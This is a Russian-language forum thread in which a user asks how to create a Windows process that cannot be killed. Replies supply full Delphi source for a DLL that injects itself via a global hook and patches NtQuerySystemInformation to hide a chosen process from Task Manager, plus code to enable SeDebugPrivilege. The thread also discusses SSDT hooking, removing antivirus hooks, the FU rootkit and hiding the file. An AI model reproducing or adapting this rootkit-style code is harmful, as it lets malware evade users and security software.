Народ подскажите как создать неубиваемый процесс? Если я не ошибаюсь то делается это при помощт функции CreateProcess только какие параметры ей надо передать для того чтобы его нельзя было убить из диспетчера задач. И сразу вопрос в догонку. Если я создам такой процесс смогу ли я получить доступ к нему из той программы при помощи которой я его запустил с помощью функций ReadProcessMemory/WriteProcessMemory ? ps: Код желатьльно на Delphi
чето мне кажеца ты чувак гонишь))) может просто создать скрытый процес, и не так палева и не че завершать то будет)) вот пример из статьи мс-рема http://wasm.ru/pub/21/files/ring0.rar
Ты хоть понял что та прога делает а? если нет то ненадо блистять гениальностью!!! Могбы ставить минусы влепил бы ейбогу. Если чесно тоя это прочитал почти сразу после того как запостил сообщение только для меня осталось непонятным как это работает а точнеевот эта часть почему так
Листинг hide.dpr Code: library hide; uses Windows, SysUtils, ImageHlp, TlHelp32; type SYSTEM_INFORMATION_CLASS = ( SystemBasicInformation, SystemProcessorInformation, SystemPerformanceInformation, SystemTimeOfDayInformation, SystemNotImplemented1, SystemProcessesAndThreadsInformation, SystemCallCounts, SystemConfigurationInformation, SystemProcessorTimes, SystemGlobalFlag, SystemNotImplemented2, SystemModuleInformation, SystemLockInformation, SystemNotImplemented3, SystemNotImplemented4, SystemNotImplemented5, SystemHandleInformation, SystemObjectInformation, SystemPagefileInformation, SystemInstructionEmulationCounts, SystemInvalidInfoClass1, SystemCacheInformation, SystemPoolTagInformation, SystemProcessorStatistics, SystemDpcInformation, SystemNotImplemented6, SystemLoadImage, SystemUnloadImage, SystemTimeAdjustment, SystemNotImplemented7, SystemNotImplemented8, SystemNotImplemented9, SystemCrashDumpInformation, SystemExceptionInformation, SystemCrashDumpStateInformation, SystemKernelDebuggerInformation, SystemContextSwitchInformation, SystemRegistryQuotaInformation, SystemLoadAndCallImage, SystemPrioritySeparation, SystemNotImplemented10, SystemNotImplemented11, SystemInvalidInfoClass2, SystemInvalidInfoClass3, SystemTimeZoneInformation, SystemLookasideInformation, SystemSetTimeSlipEvent, SystemCreateSession, SystemDeleteSession, SystemInvalidInfoClass4, SystemRangeStartInformation, SystemVerifierInformation, SystemAddVerifier, SystemSessionProcessesInformation ); _IMAGE_IMPORT_DESCRIPTOR = packed record case Integer of 0:( Characteristics: DWORD); 1:( OriginalFirstThunk:DWORD; TimeDateStamp:DWORD; ForwarderChain: DWORD; Name: DWORD; FirstThunk: DWORD); end; IMAGE_IMPORT_DESCRIPTOR=_IMAGE_IMPORT_DESCRIPTOR; PIMAGE_IMPORT_DESCRIPTOR=^IMAGE_IMPORT_DESCRIPTOR; PFARPROC=^FARPROC; procedure ReplaceIATEntryInOneMod(pszCallerModName: Pchar; pfnCurrent: FarProc; pfnNew: FARPROC; hmodCaller: hModule); var ulSize: ULONG; pImportDesc: PIMAGE_IMPORT_DESCRIPTOR; pszModName: PChar; pThunk: PDWORD; ppfn:PFARPROC; ffound: LongBool; written: DWORD; begin pImportDesc:= ImageDirectoryEntryToData(Pointer(hmodCaller), TRUE,IMAGE_DIRECTORY_ENTRY_IMPORT, ulSize); if pImportDesc = nil then exit; while pImportDesc.Name<>0 do begin pszModName := PChar(hmodCaller + pImportDesc.Name); if (lstrcmpiA(pszModName, pszCallerModName) = 0) then break; Inc(pImportDesc); end; if (pImportDesc.Name = 0) then exit; pThunk := PDWORD(hmodCaller + pImportDesc.FirstThunk); while pThunk^<>0 do begin ppfn := PFARPROC(pThunk); fFound := (ppfn^ = pfnCurrent); if (fFound) then begin VirtualProtectEx(GetCurrentProcess,ppfn,4,PAGE_EXECUTE_READWRITE,written); WriteProcessMemory(GetCurrentProcess, ppfn, @pfnNew, sizeof(pfnNew), Written); exit; end; Inc(pThunk); end; end; var addr_NtQuerySystemInformation: Pointer; mypid: DWORD; fname: PCHAR; mapaddr: PDWORD; hideOnlyTaskMan: PBOOL; function myNtQuerySystemInfo(SystemInformationClass: SYSTEM_INFORMATION_CLASS; SystemInformation: Pointer; SystemInformationLength:ULONG; ReturnLength:PULONG):LongInt; stdcall; label onceagain, getnextpidstruct, quit, fillzero; asm push ReturnLength push SystemInformationLength push SystemInformation push dword ptr SystemInformationClass call dword ptr [addr_NtQuerySystemInformation] or eax,eax jl quit cmp SystemInformationClass, SystemProcessesAndThreadsInformation jne quit onceagain: mov esi, SystemInformation getnextpidstruct: mov ebx, esi cmp dword ptr [esi],0 je quit add esi, [esi] mov ecx, [esi+44h] cmp ecx, mypid jne getnextpidstruct mov edx, [esi] test edx, edx je fillzero add [ebx], edx jmp onceagain fillzero: and [ebx], edx jmp onceagain quit: mov Result, eax end procedure InterceptFunctions; var hSnapShot: THandle; me32: MODULEENTRY32; begin addr_NtQuerySystemInformation:=GetProcAddress(getModuleHandle('ntdll.dll'),'NtQuerySystemInformation'); hSnapShot:=CreateToolHelp32SnapShot(TH32CS_SNAPMODULE,GetCurrentProcessId); if hSnapshot=INVALID_HANDLE_VALUE then exit; try ZeroMemory(@me32,sizeof(MODULEENTRY32)); me32.dwSize:=sizeof(MODULEENTRY32); Module32First(hSnapShot,me32); repeat ReplaceIATEntryInOneMod('ntdll.dll',addr_NtQuerySystemInformation,@MyNtQuerySystemInfo,me32.hModule); until not Module32Next(hSnapShot,me32); finally CloseHandle(hSnapShot); end; end; procedure UninterceptFunctions; var hSnapShot: THandle; me32: MODULEENTRY32; begin addr_NtQuerySystemInformation:=GetProcAddress(getModuleHandle('ntdll.dll'),'NtQuerySystemInformation'); hSnapShot:=CreateToolHelp32SnapShot(TH32CS_SNAPMODULE,GetCurrentProcessId); if hSnapshot=INVALID_HANDLE_VALUE then exit; try ZeroMemory(@me32,sizeof(MODULEENTRY32)); me32.dwSize:=sizeof(MODULEENTRY32); Module32First(hSnapShot,me32); repeat ReplaceIATEntryInOneMod('ntdll.dll',@MyNtQuerySystemInfo,addr_NtQuerySystemInformation,me32.hModule); until not Module32Next(hSnapShot,me32); finally CloseHandle(hSnapShot); end; end; var HookHandle: THandle; function CbtProc(code: integer; wparam: integer; lparam: integer):Integer; stdcall; begin Result:=0; end; procedure InstallHook; stdcall; begin HookHandle:=SetWindowsHookEx(WH_CBT, @CbtProc, HInstance, 0); end; var hFirstMapHandle:THandle; function HideProcess(pid:DWORD; HideOnlyFromTaskManager:BOOL):BOOL; stdcall; var addrMap: PDWORD; ptr2: PBOOL; begin mypid:=0; result:=false; hFirstMapHandle:=CreateFileMapping($FFFFFFFF,nil,PAGE_READWRITE,0,8,'NtHideFileMapping'); if hFirstMapHandle=0 then exit; addrMap:=MapViewOfFile(hFirstMapHandle,FILE_MAP_WRITE,0,0,8); if addrMap=nil then begin CloseHandle(hFirstMapHandle); exit; end; addrMap^:=pid; ptr2:=PBOOL(DWORD(addrMap)+4); ptr2^:=HideOnlyFromTaskManager; UnmapViewOfFile(addrMap); InstallHook; result:=true; end; exports HideProcess; var hmap: THandle; procedure LibraryProc(Reason: Integer); begin if Reason = DLL_PROCESS_DETACH then if mypid > 0 then UninterceptFunctions() else CloseHandle(hFirstMapHandle); end; begin hmap:=OpenFileMapping(FILE_MAP_READ,false,'NtHideFileMapping'); if hmap=0 then exit; try mapaddr:=MapViewOfFile(hmap,FILE_MAP_READ,0,0,0); if mapaddr=nil then exit; mypid:=mapaddr^; hideOnlyTaskMan:=PBOOL(DWORD(mapaddr)+4); if hideOnlyTaskMan^ then begin fname:=allocMem(MAX_PATH+1); GetModuleFileName(GetModuleHandle(nil),fname,MAX_PATH+1); if not (ExtractFileName(fname)='taskmgr.exe') then exit; end; InterceptFunctions; finally UnmapViewOfFile(mapaddr); CloseHandle(Hmap); DLLProc:=@LibraryProc; end; end. Прописываем Code: implementation function HideProcess(pid: DWORD; HideOnlyFromTaskManager: BOOL): BOOL; stdcall; external 'hide.dll'; Прописываем в ОнШов например : Code: HideProcess(GetCurrentProcessId, false); Жмём Alt+Ctrl+Del, а нас там нет
Можно перехватывать функции для работы с процесами (желательно на уровне ядра) и никому не давать себя убить. Так, например, делает Касперский. Про перехват функций в ring0 стоит прочитать на wasm'е
Давайте вобще свой антивирь напишим чё мелочится а? Из-за того чтобы сделать просто неубиваемые процес мы полезем в 0 кольцо(верх гениальности) Ладно с процесом коекак разобрались хотя неплохобы бало сделать чтото типа _http://articles.org.ru/cfaq/index.php?qid=1321&frommostrecent=yes Только хотелось бы узнать как вобще эта штука работает? А что насчёт ReadProcessMemory/WriteProcessMemory ? Можно ли будет их использовать если сделать как вот сдесь _http://articles.org.ru/cfaq/index.php?qid=1321&frommostrecent=yes ? (Хотелось бы)
Если ты знаешь способ создать дейтсвительно неубиваемый процесс (способ описанный в статье _http://articles.org.ru/cfaq/index.php?qid=1321&frommostrecent=yes можно убить получив dubuge привелегии) из user mode поделись пожалуйста.
Для каждого объекта ОС создает дескриптор безопастности, по которому определяет права доступа к нему. Очевидно, что в данном примере создается пустой дескриптор, и владельцем объекта становится создатель
Если ты не владелец его и у тебя нет debuge привелегий то скорее всего нет Получение debugePrivelege Code: function EnableDebugPrivilege(const Value: Boolean): Boolean; const SE_DEBUG_NAME = 'SeDebugPrivilege'; var hToken: THandle; tp: TOKEN_PRIVILEGES; d: DWORD; begin Result := False; if OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, hToken) then begin tp.PrivilegeCount := 1; LookupPrivilegeValue(nil, SE_DEBUG_NAME, tp.Privileges[0].Luid); if Value then tp.Privileges[0].Attributes := $00000002 else tp.Privileges[0].Attributes := $80000000; AdjustTokenPrivileges(hToken, False, tp, SizeOf(TOKEN_PRIVILEGES), nil, d); if GetLastError = ERROR_SUCCESS then begin Result := True; end; CloseHandle(hToken); end; end; Разнеснения по поводу работы функции: Функция включает/выключает SeDebugPrivilege. Зачем эти привилегии нужны? На досуге попробуй записать что-нибудь в память системных процессов, например, в lsass.exe, без таких привилегий ты ничего сделать не сможешь. Насчет самой функции: OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, hToken) - получаем токен нашего процесса. LookupPrivilegeValue(nil, SE_DEBUG_NAME, tp.Privileges[0].Luid); - Получаем LUID привилегии AdjustTokenPrivileges(hToken, False, tp, SizeOf(TOKEN_PRIVILEGES), nil, d); - добавляем (точнее включаем) привилегию к нашему процессу
А как можно как нибудь создать неубиваемый процесс и использовать ReadProcessMemory/WriteProcessMemory только из того приложения которое его запустило. То есть надо создать прогу которая запускает приложение меняет пару байт в запущеной проге и потом запрещает любое изменение запущенного приложения?
2EST a1ien: ядерное программирование как раз и есть верх гениальности. если ты хочешь чтобы процесс нельзя было убить - блокируешь доступ например к OpenProcess путем перехвата native api NtOpenProcess. Т.о. пропадет возможность открыть дескриптор процесса по которому его можно грохнуть. Перехват осуществляется простой подменой адресов ф-ий в SDT, доступ к которой имеет любой драйвер импортирующий KeServiceDescriptorTable. Но... все это говно. Хуки с ядра можно снять даже из юзермода сам работал над этой вещью, назвал бетатеразином. Например после отработки начальной фазы кода, которая снимает все перехваты, мгновенно падает вся проактивная защита от касперского 6... ибо основана она на руткит-технологиях перехвата... которые уже стары как мир выход есть. например полное скрытие процесса. мне вот нравится метод разрыва 2сторонних описателей процессов. можно заценить в исходниках FU rootkit
Да блин мне ненадо настолько глубако закапыватся мне надо просто чтобы пользователь немог убить процесс запущенный мной из моей проги и всё!!! Только вот этот http://articles.org.ru/cfaq/index.php?qid=1321&frommostrecent=yes Пример почемуто неработает он компилится запускает блокнот только я всёравно могу его убить из диспетчера задач на вкладке процесы!!!!
хм.. прикольно но пашет назови свою прогу именем одним из неубиваемых процессов... (winlogon к примеру) увидешь эффект
Неа это бред ты просто назови любой exe'шник именем системного процеса запусти его и ты его несможеш убить
EST a1ien если серьезно то что тебе нужно это: 1. Использовать dll-ку с wasm'a 1.1. "пихаешь" ее в res. 1.2. при запуску распаковываешь 1.3. тут уже LoadLibrary, GetProcAddress, FreeLibrary 2. я писал что-то на подобие статьи вот: http://www.forum.antichat.ru/thread24230.html ... так вот в процессах спрятали... а если хотим скрыть сам файл? (чтобы в проводнике не видно было?) делаем как сказанно... к нашему файлу SetAtribytes(OurFile,faAnyFile)